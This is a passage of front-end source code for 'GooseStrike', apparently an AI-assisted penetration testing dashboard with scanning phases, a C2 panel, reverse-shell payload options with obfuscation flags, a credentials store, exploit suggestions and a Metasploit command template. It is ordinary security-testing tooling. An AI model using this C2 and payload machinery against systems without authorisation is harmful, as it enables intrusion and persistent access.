<div>
|
||
<h3 class="font-bold text-sp-white">GooseStrike Help</h3>
|
||
<p class="text-xs text-sp-white-muted">AI-Powered Assistance</p>
|
||
</div>
|
||
</div>
|
||
<button @click="showHelpPanel = false" class="text-sp-white-muted hover:text-white text-xl">✕</button>
|
||
</div>
|
||
|
||
<!-- Quick Actions -->
|
||
<div class="p-3 border-b border-sp-grey-mid bg-sp-grey/20">
|
||
<p class="text-xs text-sp-white-muted mb-2">Quick Help Topics:</p>
|
||
<div class="flex flex-wrap gap-1">
|
||
<button @click="askHelpQuestion('How do I scan a network?')"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded text-xs transition">
|
||
Network Scanning
|
||
</button>
|
||
<button @click="askHelpQuestion('What is the C2 tab for?')"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded text-xs transition">
|
||
C2 Framework
|
||
</button>
|
||
<button @click="askHelpQuestion('How do I generate payloads?')"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded text-xs transition">
|
||
Payloads
|
||
</button>
|
||
<button @click="askHelpQuestion('Explain the mission planning workflow')"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-2 py-1 rounded text-xs transition">
|
||
Mission Planning
|
||
</button>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Messages -->
|
||
<div class="flex-1 overflow-y-auto p-4 space-y-4" id="help-messages">
|
||
<template x-if="helpMessages.length === 0">
|
||
<div class="text-center text-sp-white-muted py-8">
|
||
<span class="text-4xl mb-4 block">💬</span>
|
||
<p class="text-sm">Ask me anything about GooseStrike!</p>
|
||
<p class="text-xs mt-1">I can help with scanning, exploitation, C2, and more.</p>
|
||
</div>
|
||
</template>
|
||
|
||
<template x-for="(msg, idx) in helpMessages" :key="idx">
|
||
<div :class="msg.role === 'user' ? 'flex justify-end' : 'flex justify-start'">
|
||
<div :class="msg.role === 'user'
|
||
? 'bg-sp-red text-white rounded-lg rounded-br-none px-4 py-2 max-w-xs'
|
||
: 'bg-sp-grey text-sp-white rounded-lg rounded-bl-none px-4 py-2 max-w-xs'">
|
||
<p class="text-sm" x-html="renderMarkdown(msg.content)"></p>
|
||
<span class="text-xs opacity-60" x-text="msg.time"></span>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
|
||
<template x-if="helpLoading">
|
||
<div class="flex justify-start">
|
||
<div class="bg-sp-grey rounded-lg px-4 py-3">
|
||
<div class="typing-indicator flex gap-1">
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
<span class="w-2 h-2 bg-sp-red rounded-full"></span>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</template>
|
||
</div>
|
||
|
||
<!-- Input -->
|
||
<div class="p-4 border-t border-sp-grey-mid bg-sp-grey/30">
|
||
<form @submit.prevent="sendHelpMessage()" class="flex gap-2">
|
||
<input type="text"
|
||
x-model="helpInput"
|
||
placeholder="Ask a question..."
|
||
class="flex-1 bg-sp-grey border border-sp-grey-mid rounded-lg px-4 py-2 text-sm text-sp-white placeholder-sp-white-muted focus:outline-none focus:ring-2 focus:ring-sp-red">
|
||
<button type="submit"
|
||
:disabled="!helpInput.trim() || helpLoading"
|
||
class="bg-sp-red hover:bg-sp-red-dark disabled:bg-sp-grey disabled:cursor-not-allowed px-4 py-2 rounded-lg transition">
|
||
<svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 19l9 2-9-18-9 18 9-2zm0 0v-8"></path>
|
||
</svg>
|
||
</button>
|
||
</form>
|
||
</div>
|
||
</div>
|
||
|
||
<!-- Onboarding Overlay -->
|
||
<div x-show="showOnboarding && !localStorage.getItem('goosestrike-onboarded')"
|
||
x-transition
|
||
class="fixed inset-0 bg-black/80 z-50 flex items-center justify-center">
|
||
<div class="bg-sp-dark rounded-xl p-8 w-full max-w-xl border border-sp-red/30 text-center">
|
||
<div class="text-6xl mb-4">🦆</div>
|
||
<h2 class="text-2xl font-bold text-sp-white mb-2">Welcome to GooseStrike!</h2>
|
||
<p class="text-sp-white-muted mb-6">Your AI-powered penetration testing platform. Let's get you started.</p>
|
||
|
||
<div class="grid grid-cols-3 gap-4 mb-6">
|
||
<div class="bg-sp-grey/50 p-4 rounded-lg">
|
||
<span class="text-2xl">🎯</span>
|
||
<h4 class="font-semibold text-sp-white mt-2">Plan</h4>
|
||
<p class="text-xs text-sp-white-muted">Define your targets and objectives</p>
|
||
</div>
|
||
<div class="bg-sp-grey/50 p-4 rounded-lg">
|
||
<span class="text-2xl">🔍</span>
|
||
<h4 class="font-semibold text-sp-white mt-2">Scan</h4>
|
||
<p class="text-xs text-sp-white-muted">Discover and enumerate</p>
|
||
</div>
|
||
<div class="bg-sp-grey/50 p-4 rounded-lg">
|
||
<span class="text-2xl">⚡</span>
|
||
<h4 class="font-semibold text-sp-white mt-2">Strike</h4>
|
||
<p class="text-xs text-sp-white-muted">Execute and maintain access</p>
|
||
</div>
|
||
</div>
|
||
|
||
<div class="flex gap-4 justify-center">
|
||
<button @click="showOnboarding = false; localStorage.setItem('goosestrike-onboarded', 'true')"
|
||
class="bg-sp-grey hover:bg-sp-grey-light px-6 py-3 rounded-lg transition">
|
||
Skip Tour
|
||
</button>
|
||
<button @click="showOnboarding = false; localStorage.setItem('goosestrike-onboarded', 'true'); startWizard('guided_tour')"
|
||
class="bg-sp-red hover:bg-sp-red-dark px-6 py-3 rounded-lg font-semibold transition">
|
||
Start Guided Tour →
|
||
</button>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
</div>
|
||
|
||
<script>
|
||
function dashboard() {
|
||
return {
|
||
activeTab: 'phase',
|
||
activePhase: 'recon',
|
||
messages: [],
|
||
userInput: '',
|
||
isLoading: false,
|
||
services: {},
|
||
selectedProvider: 'ollama-local',
|
||
selectedModel: 'llama3.2',
|
||
availableModels: ['llama3.2', 'codellama', 'mistral'],
|
||
providers: {},
|
||
terminalInput: '',
|
||
terminalHistory: [],
|
||
terminalLoading: false,
|
||
terminalWs: null,
|
||
terminalStreaming: false,
|
||
terminalPaused: false,
|
||
pausedBuffer: [],
|
||
scrollLock: false,
|
||
terminalStartTime: null,
|
||
lastExitCode: null,
|
||
commandHistory: [],
|
||
historyIndex: -1,
|
||
scans: [],
|
||
scanModalOpen: false,
|
||
scanModal: { tool: '', target: '', scanType: '', types: [] },
|
||
detailsModalOpen: false,
|
||
selectedScan: null,
|
||
runningProcesses: [],
|
||
showProcesses: false,
|
||
findings: [],
|
||
attackChains: [],
|
||
networkHosts: [],
|
||
selectedHost: null,
|
||
networkMapLoading: false,
|
||
networkMapView: 'cytoscape',
|
||
osFilters: [], // Active OS type filters for network map
|
||
networkScanProgress: { current: 0, total: 0, currentIp: '', hostsFound: 0 },
|
||
showRangeScanModal: false,
|
||
rangeScanTarget: '',
|
||
rangeScanType: 'quick',
|
||
|
||
// C2 Command & Control State
|
||
c2ActivePanel: 'listeners',
|
||
c2Listeners: [],
|
||
c2Agents: [],
|
||
c2Tasks: [],
|
||
selectedAgent: null,
|
||
showListenerModal: false,
|
||
showAgentInteract: false,
|
||
newListener: {
|
||
name: '',
|
||
type: 'http',
|
||
host: '0.0.0.0',
|
||
port: 8443,
|
||
protocol: 'HTTPS'
|
||
},
|
||
payloadOptions: {
|
||
type: 'reverse_shell',
|
||
listener: '',
|
||
lhost: '',
|
||
lport: 4444,
|
||
os: 'linux',
|
||
arch: 'x64',
|
||
format: 'raw',
|
||
encode: false,
|
||
obfuscate: false
|
||
},
|
||
generatedPayload: '',
|
||
agentCommand: '',
|
||
|
||
// Voice Control State
|
||
voiceState: 'idle', // idle, listening, processing, speaking
|
||
voiceTranscript: '',
|
||
voiceSupported: 'webkitSpeechRecognition' in window || 'SpeechRecognition' in window,
|
||
speechRecognition: null,
|
||
|
||
// Wizard State
|
||
showWizardModal: false,
|
||
wizardType: 'first_time',
|
||
wizardTitle: 'Getting Started',
|
||
wizardStep: 1,
|
||
wizardSteps: [],
|
||
wizardData: {},
|
||
|
||
// Explain Modal State
|
||
showExplainModal: false,
|
||
explainLoading: false,
|
||
explainResult: null,
|
||
explainContext: {},
|
||
|
||
// Help Panel State
|
||
showHelpPanel: false,
|
||
helpMessages: [],
|
||
helpInput: '',
|
||
helpLoading: false,
|
||
|
||
// Onboarding State
|
||
showOnboarding: !localStorage.getItem('goosestrike-onboarded'),
|
||
onboardingComplete: localStorage.getItem('goosestrike-onboarded') === 'true',
|
||
|
||
// Project Management State
|
||
projects: [],
|
||
currentProjectId: '',
|
||
currentProject: null,
|
||
showProjectModal: false,
|
||
showProjectDetails: false,
|
||
newProject: {
|
||
name: '',
|
||
description: '',
|
||
target_network: '',
|
||
scope: []
|
||
},
|
||
|
||
// Credentials Manager State
|
||
credentials: [],
|
||
showCredentialModal: false,
|
||
newCredential: {
|
||
username: '',
|
||
password: '',
|
||
hash: '',
|
||
hash_type: '',
|
||
domain: '',
|
||
host: '',
|
||
service: '',
|
||
source: '',
|
||
notes: ''
|
||
},
|
||
|
||
// Notes State
|
||
projectNotes: [],
|
||
showNoteModal: false,
|
||
newNote: {
|
||
title: '',
|
||
content: '',
|
||
category: 'general',
|
||
host: ''
|
||
},
|
||
|
||
// Exploit Suggestion State
|
||
exploitSuggestions: [],
|
||
exploitLoading: false,
|
||
|
||
// Recon Pipeline State
|
||
showPipelineModal: false,
|
||
activePipelines: [],
|
||
newPipeline: {
|
||
target: '',
|
||
pipeline: 'standard',
|
||
include_vuln_scan: false,
|
||
include_web_enum: false
|
||
},
|
||
|
||
// CTF Agent State
|
||
ctfAgent: {
|
||
category: 'general',
|
||
challengeName: '',
|
||
challengeDescription: '',
|
||
hintsText: '',
|
||
filesText: '',
|
||
currentProgress: '',
|
||
messages: [],
|
||
input: '',
|
||
loading: false
|
||
},
|
||
|
||
phases: [
|
||
{
|
||
id: 'recon',
|
||
name: 'Reconnaissance',
|
||
short: 'Recon',
|
||
icon: '🔍',
|
||
description: 'Gather information about the target through passive and active reconnaissance techniques.',
|
||
tools: [
|
||
{ name: 'nmap', description: 'Network scanner and port enumeration' },
|
||
{ name: 'theHarvester', description: 'OSINT gathering for emails, subdomains' },
|
||
{ name: 'amass', description: 'Subdomain enumeration and mapping' },
|
||
{ name: 'whatweb', description: 'Web technology fingerprinting' },
|
||
],
|
||
quickActions: [
|
||
{ icon: '🎯', label: 'Quick Port Scan', tool: 'nmap', scanType: 'quick' },
|
||
{ icon: '🔎', label: 'Tech Fingerprint', tool: 'whatweb', scanType: 'default' },
|
||
]
|
||
},
|
||
{
|
||
id: 'scanning',
|
||
name: 'Scanning',
|
||
short: 'Scan',
|
||
icon: '📡',
|
||
description: 'Perform in-depth scanning and enumeration of discovered services.',
|
||
tools: [
|
||
{ name: 'nmap -sV', description: 'Service version detection' },
|
||
{ name: 'gobuster', description: 'Directory and file brute-force' },
|
||
{ name: 'enum4linux', description: 'SMB/Windows enumeration' },
|
||
],
|
||
quickActions: [
|
||
{ icon: '🔬', label: 'Full Port Scan', tool: 'nmap', scanType: 'full' },
|
||
{ icon: '📁', label: 'Dir Brute Force', tool: 'gobuster', scanType: 'dir' },
|
||
]
|
||
},
|
||
{
|
||
id: 'vuln',
|
||
name: 'Vulnerability Assessment',
|
||
short: 'Vuln',
|
||
icon: '🛡️',
|
||
description: 'Identify and assess vulnerabilities in discovered services.',
|
||
tools: [
|
||
{ name: 'nikto', description: 'Web server vulnerability scanner' },
|
||
{ name: 'nuclei', description: 'Template-based vuln scanner' },
|
||
{ name: 'sqlmap', description: 'SQL injection detection' },
|
||
],
|
||
quickActions: [
|
||
{ icon: '🕸️', label: 'Web Vuln Scan', tool: 'nikto', scanType: 'default' },
|
||
{ icon: '💉', label: 'SQLi Test', tool: 'sqlmap', scanType: 'test' },
|
||
{ icon: '🔎', label: 'Nmap Vuln Scripts', tool: 'nmap', scanType: 'vuln' },
|
||
]
|
||
},
|
||
{
|
||
id: 'exploit',
|
||
name: 'Exploitation',
|
||
short: 'Exploit',
|
||
icon: '💥',
|
||
description: 'Safely exploit verified vulnerabilities to demonstrate impact.',
|
||
tools: [
|
||
{ name: 'metasploit', description: 'Exploitation framework' },
|
||
{ name: 'hydra', description: 'Password brute-force tool' },
|
||
{ name: 'searchsploit', description: 'Exploit database search' },
|
||
],
|
||
quickActions: [
|
||
{ icon: '🔍', label: 'Search Exploits', prompt: 'Search for exploits for the vulnerabilities we found' },
|
||
]
|
||
},
|
||
{
|
||
id: 'report',
|
||
name: 'Reporting',
|
||
short: 'Report',
|
||
icon: '📄',
|
||
description: 'Document findings and create professional security reports.',
|
||
tools: [
|
||
{ name: 'Report Generator', description: 'AI-generated executive summary' },
|
||
{ name: 'CVSS Calculator', description: 'Severity scoring' },
|
||
],
|
||
quickActions: [
|
||
{ icon: '📊', label: 'Executive Summary', prompt: 'Generate an executive summary of our findings' },
|
||
{ icon: '📋', label: 'Technical Report', prompt: 'Create a detailed technical report' },
|
||
]
|
||
},
|
||
{
|
||
id: 'retest',
|
||
name: 'Retesting',
|
||
short: 'Retest',
|
||
icon: '🔄',
|
||
description: 'Verify that vulnerabilities have been properly remediated.',
|
||
tools: [
|
||
{ name: 'Verification Scan', description: 'Re-run previous scans' },
|
||
],
|
||
quickActions: [
|
||
{ icon: '✅', label: 'Verify Fixes', prompt: 'Create a retest plan for the identified vulnerabilities' },
|
||
]
|
||
}
|
||
],
|
||
|
||
async init() {
|
||
await this.checkStatus();
|
||
// Load saved preferences (provider/model)
|
||
try {
|
||
const prefRes = await fetch('/api/preferences');
|
||
const pref = await prefRes.json();
|
||
if (pref.provider) this.selectedProvider = pref.provider;
|
||
if (pref.model) this.selectedModel = pref.model;
|
||
} catch {}
|
||
|
||
// Subscribe to SSE for running processes via dashboard proxy
|
||
try {
|
||
const es = new EventSource('/api/stream/processes');
|
||
es.onmessage = (ev) => {
|
||
try {
|
||
const data = JSON.parse(ev.data);
|
||
this.runningProcesses = data.running_processes || [];
|
||
} catch {}
|
||
};
|
||
es.onerror = () => { /* keep trying */ };
|
||
} catch {}
|
||
|
||
// Mount React components if available
|
||
if (window.GooseStrikeComponents) {
|
||
// Mount voice controls if container exists
|
||
const voiceContainer = document.getElementById('voice-controls-mount');
|
||
if (voiceContainer) {
|
||
window.GooseStrikeComponents.mount.voiceControls('voice-controls-mount', {
|
||
onCommand: (cmd) => this.handleVoiceCommand(cmd),
|
||
apiUrl: '/api/voice'
|
||
});
|
||
}
|
||
}
|
||
|
||
await this.loadProjects(); // Load projects on init
|
||
await this.loadActivePipelines(); // Load active pipelines
|
||
setInterval(() => this.checkStatus(), 30000);
|
||
await this.loadProviders();
|
||
await this.refreshScans();
|
||
setInterval(() => this.pollRunningScans(), 5000);
|
||
|
||
this.messages.push({
|
||
role: 'assistant',
|
||
phase: 'Reconnaissance',
|
||
provider: 'ollama',
|
||
model: 'System',
|
||
content: `# Welcome to GooseStrike! 🍁I'm your AI-powered penetration testing assistant, following the **6-Phase Enterprise Methodology**:
|
||
|
||
| Phase | Purpose |
|
||
|-------|---------|
|
||
| 🔍 **Reconnaissance** | OSINT, subdomain discovery, port scanning |
|
||
| 📡 **Scanning** | Service enumeration, version detection |
|
||
| 🛡️ **Vulnerability Assessment** | CVE identification, CVSS scoring |
|
||
| 💥 **Exploitation** | Safe, controlled exploitation |
|
||
| 📄 **Reporting** | Executive & technical reports |
|
||
| 🔄 **Retesting** | Verify remediation |
|
||
|
||
**New Features:**
|
||
- ⛓️ **Attack Chain Analysis** - Correlate vulnerabilities into attack paths
|
||
- 🎯 **CVSS Scoring** - Risk severity badges on all findings
|
||
- 🤖 **Context-Aware AI** - Prompts tailored to each phase
|
||
|
||
Select a phase above to begin, or use the quick actions in the sidebar!`
|
||
});
|
||
|
||
this.terminalHistory.push({
|
||
type: 'info',
|
||
content: 'Connected to Kali container. Type commands below to execute.'
|
||
});
|
||
},
|
||
|
||
getCurrentPhase() {
|
||
return this.phases.find(p => p.id === this.activePhase) || this.phases[0];
|
||
},
|
||
|
||
getPhasePrompt() {
|
||
const prompts = {
|
||
recon: 'Ask about reconnaissance techniques or specify a target to scan...',
|
||
scanning: 'Request service enumeration or detailed scanning...',
|
||
vuln: 'Ask about vulnerability assessment or analyze scan results...',
|
||
exploit: 'Discuss exploitation strategies or search for exploits...',
|
||
report: 'Request report generation or findings summary...',
|
||
retest: 'Plan retesting or verify remediation...'
|
||
};
|
||
return prompts[this.activePhase] || 'Ask me anything about security testing...';
|
||
},
|
||
|
||
get phaseScans() {
|
||
const phaseTools = {
|
||
recon: ['nmap', 'theHarvester', 'amass', 'whatweb', 'whois'],
|
||
scanning: ['nmap', 'masscan', 'enum4linux', 'gobuster'],
|
||
vuln: ['nikto', 'nuclei', 'sqlmap', 'searchsploit'],
|
||
exploit: ['hydra', 'metasploit'],
|
||
report: [],
|
||
retest: []
|
||
};
|
||
const tools = phaseTools[this.activePhase] || [];
|
||
return this.scans.filter(s => tools.includes(s.tool));
|
||
},
|
||
|
||
async checkStatus() {
|
||
try {
|
||
const response = await fetch('/api/status');
|
||
const data = await response.json();
|
||
this.services = data.services;
|
||
} catch (e) { console.error('Failed to check status:', e); }
|
||
},
|
||
|
||
async checkRunningProcesses() {
|
||
try {
|
||
const response = await fetch('/api/processes');
|
||
const data = await response.json();
|
||
this.runningProcesses = data.running_processes || [];
|
||
} catch (e) { console.error('Failed to check processes:', e); }
|
||
},
|
||
|
||
// ============= PROJECT MANAGEMENT METHODS =============
|
||
async loadProjects() {
|
||
try {
|
||
const response = await fetch('/api/projects');
|
||
const data = await response.json();
|
||
this.projects = data.projects || [];
|
||
this.currentProjectId = data.current_project_id || '';
|
||
if (this.currentProjectId) {
|
||
await this.loadCurrentProject();
|
||
}
|
||
} catch (e) { console.error('Failed to load projects:', e); }
|
||
},
|
||
|
||
async loadCurrentProject() {
|
||
if (!this.currentProjectId) {
|
||
this.currentProject = null;
|
||
this.networkHosts = [];
|
||
this.credentials = [];
|
||
this.projectNotes = [];
|
||
return;
|
||
}
|
||
try {
|
||
const response = await fetch(`/api/projects/${this.currentProjectId}`);
|
||
this.currentProject = await response.json();
|
||
// Sync project data to local state
|
||
this.networkHosts = this.currentProject.hosts || [];
|
||
this.credentials = this.currentProject.credentials || [];
|
||
this.projectNotes = this.currentProject.notes || [];
|
||
// Refresh network map if visible
|
||
if (this.activeTab === 'network-map') {
|
||
this.refreshNetworkMap();
|
||
}
|
||
} catch (e) { console.error('Failed to load current project:', e); }
|
||
},
|
||
|
||
async selectProject() {
|
||
if (this.currentProjectId) {
|
||
try {
|
||
await fetch(`/api/projects/${this.currentProjectId}/select`, { method: 'POST' });
|
||
await this.loadCurrentProject();
|
||
} catch (e) { console.error('Failed to select project:', e); }
|
||
} else {
|
||
this.currentProject = null;
|
||
// Load hosts from non-project storage
|
||
await this.refreshNetworkHosts();
|
||
}
|
||
},
|
||
|
||
async createProject() {
|
||
if (!this.newProject.name.trim()) return;
|
||
try {
|
||
const response = await fetch('/api/projects', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify(this.newProject)
|
||
});
|
||
const data = await response.json();
|
||
if (data.status === 'success') {
|
||
this.projects.push(data.project);
|
||
this.currentProjectId = data.project.id;
|
||
await this.loadCurrentProject();
|
||
this.showProjectModal = false;
|
||
this.newProject = { name: '', description: '', target_network: '', scope: [] };
|
||
this.terminalHistory.push({
|
||
type: 'success',
|
||
content: `📁 Project "${data.project.name}" created and selected.`
|
||
});
|
||
}
|
||
} catch (e) { console.error('Failed to create project:', e); }
|
||
},
|
||
|
||
async deleteProject(projectId) {
|
||
if (!confirm('Delete this project and all its data?')) return;
|
||
try {
|
||
await fetch(`/api/projects/${projectId}`, { method: 'DELETE' });
|
||
this.projects = this.projects.filter(p => p.id !== projectId);
|
||
if (this.currentProjectId === projectId) {
|
||
this.currentProjectId = '';
|
||
this.currentProject = null;
|
||
}
|
||
} catch (e) { console.error('Failed to delete project:', e); }
|
||
},
|
||
|
||
// Credentials Management
|
||
async addCredential() {
|
||
if (!this.currentProjectId) {
|
||
alert('Please select a project first');
|
||
return;
|
||
}
|
||
if (!this.newCredential.username.trim()) return;
|
||
try {
|
||
const response = await fetch(`/api/projects/${this.currentProjectId}/credentials`, {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify(this.newCredential)
|
||
});
|
||
const data = await response.json();
|
||
if (data.status === 'success') {
|
||
this.credentials.push(data.credential);
|
||
this.showCredentialModal = false;
|
||
this.newCredential = { username: '', password: '', hash: '', hash_type: '', domain: '', host: '', service: '', source: '', notes: '' };
|
||
}
|
||
} catch (e) { console.error('Failed to add credential:', e); }
|
||
},
|
||
|
||
async deleteCredential(credId) {
|
||
if (!this.currentProjectId) return;
|
||
try {
|
||
await fetch(`/api/projects/${this.currentProjectId}/credentials/${credId}`, { method: 'DELETE' });
|
||
this.credentials = this.credentials.filter(c => c.id !== credId);
|
||
} catch (e) { console.error('Failed to delete credential:', e); }
|
||
},
|
||
|
||
// Notes Management
|
||
async addNote() {
|
||
if (!this.currentProjectId) {
|
||
alert('Please select a project first');
|
||
return;
|
||
}
|
||
if (!this.newNote.title.trim() || !this.newNote.content.trim()) return;
|
||
try {
|
||
const response = await fetch(`/api/projects/${this.currentProjectId}/notes`, {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify(this.newNote)
|
||
});
|
||
const data = await response.json();
|
||
if (data.status === 'success') {
|
||
this.projectNotes.push(data.note);
|
||
this.showNoteModal = false;
|
||
this.newNote = { title: '', content: '', category: 'general', host: '' };
|
||
}
|
||
} catch (e) { console.error('Failed to add note:', e); }
|
||
},
|
||
|
||
async deleteNote(noteId) {
|
||
if (!this.currentProjectId) return;
|
||
try {
|
||
await fetch(`/api/projects/${this.currentProjectId}/notes/${noteId}`, { method: 'DELETE' });
|
||
this.projectNotes = this.projectNotes.filter(n => n.id !== noteId);
|
||
} catch (e) { console.error('Failed to delete note:', e); }
|
||
},
|
||
|
||
// ============= EXPLOIT SUGGESTION METHODS =============
|
||
async getExploitSuggestions(host) {
|
||
if (!host) return;
|
||
this.exploitLoading = true;
|
||
this.exploitSuggestions = [];
|
||
|
||
try {
|
||
const response = await fetch('/api/exploits/suggest', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({ host_ip: host.ip })
|
||
});
|
||
const data = await response.json();
|
||
this.exploitSuggestions = data.suggestions || [];
|
||
|
||
if (this.exploitSuggestions.length === 0) {
|
||
this.terminalHistory.push({
|
||
type: 'info',
|
||
content: `No known exploits found for ${host.ip}. Try running a version scan first: nmap -sV ${host.ip}`
|
||
});
|
||
} else {
|
||
this.terminalHistory.push({
|
||
type: 'success',
|
||
content: `Found ${this.exploitSuggestions.length} potential exploits for ${host.ip}`
|
||
});
|
||
}
|
||
} catch (e) {
|
||
console.error('Failed to get exploit suggestions:', e);
|
||
this.terminalHistory.push({
|
||
type: 'error',
|
||
content: `Failed to analyze host: ${e.message}`
|
||
});
|
||
}
|
||
this.exploitLoading = false;
|
||
},
|
||
|
||
async getAllExploitSuggestions() {
|
||
if (!this.currentProjectId) {
|
||
alert('Please select a project first');
|
||
return;
|
||
}
|
||
this.exploitLoading = true;
|
||
|
||
try {
|
||
const response = await fetch('/api/exploits/suggest', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify({ all_hosts: true })
|
||
});
|
||
const data = await response.json();
|
||
this.exploitSuggestions = data.suggestions || [];
|
||
|
||
this.terminalHistory.push({
|
||
type: 'success',
|
||
content: `Analyzed ${data.hosts_analyzed} hosts. Found ${data.total} potential exploits.`
|
||
});
|
||
} catch (e) {
|
||
console.error('Failed to get exploit suggestions:', e);
|
||
}
|
||
this.exploitLoading = false;
|
||
},
|
||
|
||
runMsfModule(module, targetIp) {
|
||
const cmd = `msfconsole -q -x "use ${module}; set RHOSTS ${targetIp}; check"`;
|
||
this.terminalInput = cmd;
|
||
this.activeTab = 'terminal';
|
||
this.terminalHistory.push({
|
||
type: 'info',
|
||
content: `Loaded MSF command: ${cmd}`
|
||
});
|
||
},
|
||
|
||
runManualCheck(checkCmd, targetIp) {
|
||
const cmd = checkCmd.replace(/TARGET/g, targetIp);
|
||
this.terminalInput = cmd;
|
||
this.activeTab = 'terminal';
|
||
},
|
||
|
||
async searchExploits(query) {
|
||
try {
|
||
const response = await fetch(`/api/exploits/search/${encodeURIComponent(query)}`);
|
||
const data = await response.json();
|
||
return data.results || [];
|
||
} catch (e) {
|
||
console.error('Failed to search exploits:', e);
|
||
return [];
|
||
}
|
||
},
|
||
// ============= END EXPLOIT SUGGESTIONS =============
|
||
|
||
// ============= RECON PIPELINE METHODS =============
|
||
async startPipeline() {
|
||
if (!this.newPipeline.target) return;
|
||
|
||
try {
|
||
const response = await fetch('/api/recon/pipeline', {
|
||
method: 'POST',
|
||
headers: { 'Content-Type': 'application/json' },
|
||
body: JSON.stringify(this.newPipeline)
|
||
});
|
||
const data = await response.json();
|
||
|
||
if (data.status === 'started') {
|
||
this.terminalHistory.push({
|
||
type: 'success',
|
||
content: `🚀 Pipeline started: ${data.message}\nPipeline ID: ${data.pipeline_id}\nEstimated time: ~${data.estimated_time} minutes`
|
||
});
|
||
|
||
// Start polling for pipeline status
|
||
this.pollPipelineStatus(data.pipeline_id);
|
||
|
||
// Reset form
|
||
this.newPipeline.target = '';
|
||
this.showPipelineModal = false;
|
||
}
|
||
} catch (e) {
|
||
console.error('Failed to start pipeline:', e);
|
||
this.terminalHistory.push({
|
||
type: 'error',
|
||
content: `Failed to start pipeline: ${e.message}`
|
||
});
|
||
}
|
||
},
|
||
|
||
async pollPipelineStatus(pipelineId) {
|
||
const poll = async () => {
|
||
try {
|
||
const response = await fetch(`/api/recon/pipeline/${pipelineId}`);
|
||
const data = await response.json();
|
||
|
||
// Update active pipelines list
|
||
const existing = this.activePipelines.find(p => p.id === pipelineId);
|
||
if (existing) {
|
||
Object.assign(existing, data);
|
||
} else {
|
||
this.activePipelines.push(data);
|
||
}
|
||
|
||
// Update hosts from pipeline
|
||
if (data.hosts_discovered > 0) {
|
||
await this.refreshNetworkHosts();
|
||
}
|
||
|
||
// Continue polling if not complete
|
||
if (data.status === 'running') {
|
||
setTimeout(poll, 5000);
|
||
} else if (data.status === 'completed') {
|
||
this.terminalHistory.push({
|
||
type: 'success',
|
||
content: `✅ Pipeline completed!\nTarget: ${data.target}\nHosts discovered: ${data.hosts_discovered}\nStages completed: ${data.total_stages}`
|
||
});
|
||
await this.refreshNetworkHosts();
|
||
}
|
||
} catch (e) {
|
||
console.error('Failed to poll pipeline:', e);
|
||
}
|
||
};
|
||
|
||
poll();
|
||
},
|
||
|
||
async loadActivePipelines() {
|
||
try {
|
||
const response = await fetch('/api/recon/pipelines');
|
||
const data = await response.json();
|
||
this.activePipelines = data.pipelines || [];
|
||
|
||
// Resume polling for running pipelines
|
||
for (const pipeline of this.activePipelines) {
|
||
if (pipeline.status === 'running') {
|
||
this.pollPipelineStatus(pipeline.id);
|
||
}
|
||
}
|
||
} catch (e) {
|
||
console.error('Failed to load pipelines:', e);
|
||
}
|
||
},
|
||
// ============= END RECON PIPELINE =============
|
||
|
||
// ============= CTF AGENT METHODS =============
|
||
getCategoryLabel(category) {
|
||
const labels = {
|
||
'general': '🎮 General',
|
||
'web': '🌐 Web Exploitation',
|
||
'crypto': '🔐 Cryptography',
|
||
'pwn': '💥 Binary PWN',
|
||
'reversing': '🔍 Reverse Engineering',
|
||
'forensics': '🔬 Forensics',
|
||
'osint': '🕵️ OSINT',
|
||
'misc': '🎲 Miscellaneous'
|
||
};
|
||
return labels[category] || labels['general'];
|
||
},
|
||
|
||
clearCtfContext() {
|
||
this.ctfAgent.challengeName = '';
|
||
this.ctfAgent.challengeDescription = '';
|
||
this.ctfAgent.hintsText = '';
|
||
this.ctfAgent.filesText = '';
|
||
this.ctfAgent.currentProgress = '';
|
||
this.ctfAgent.messages = [];
|
||
},
|
||
|
||
formatCtfMessage(content) {
|
||
// Convert markdown-like syntax to HTML
|
||
let formatted = content
|
||
// Code blocks
|
||
.replace(/```(\w*)\n([\s\S]*?)```/g, '<pre class="bg-sp-black p-3 rounded my-2 overflow-x-auto text-green-400 font-mono text-xs border border-sp-grey"><code>$2</code></pre>')
|
||
// Inline code
|
||
.replace(/`([^`]+)`/g, '<code class="bg-sp-black px-1 rounded text-green-400 font-mono">$1</code>')
|
||
// Bold
|
||
.replace(/\*\*([^*]+)\*\*/g, '<strong class="text-sp-red">$1</strong>')
|
||
// Line breaks
|
||
.replace(/\n/g, '<br>')
|
||
// Lists
|
||
.replace(/^- (.*)/gm, '<li class="ml-4">$1</li>');
|
||
return formatted;
|
||
},
|
||
|
||
async sendCtfMessage() {
|
||
if (!this.ctfAgent.input.trim() || this.ctfAgent.loading) return;
|
||
|
||
const userMessage = this.ctfAgent.input.trim();
|
||
this.ctfAgent.input = '';
|
||
|
||
// Add user message to chat
|
||
this.ctfAgent.messages.push({
|
||
role: 'user',
|
||
content: userMessage,
|
||
timestamp: new Date().toLocaleTimeString()
|
||
});
|
||
|
||
this.ctfAgent.loading = true;
|
||
this.scrollToBottom('ctf-messages');
|
||
|
||
try {
|
||
const hints = this.ctfAgent.hintsText.split('\n').filter(h => h.trim());
|
||
const files = this.ctfAgent.filesText.split(/[\n,]/).filter(f => f.trim());
|
||
|
||
const response = await fetch('/api/ctf/agent', {
|
||
method: 'POST',
|
||
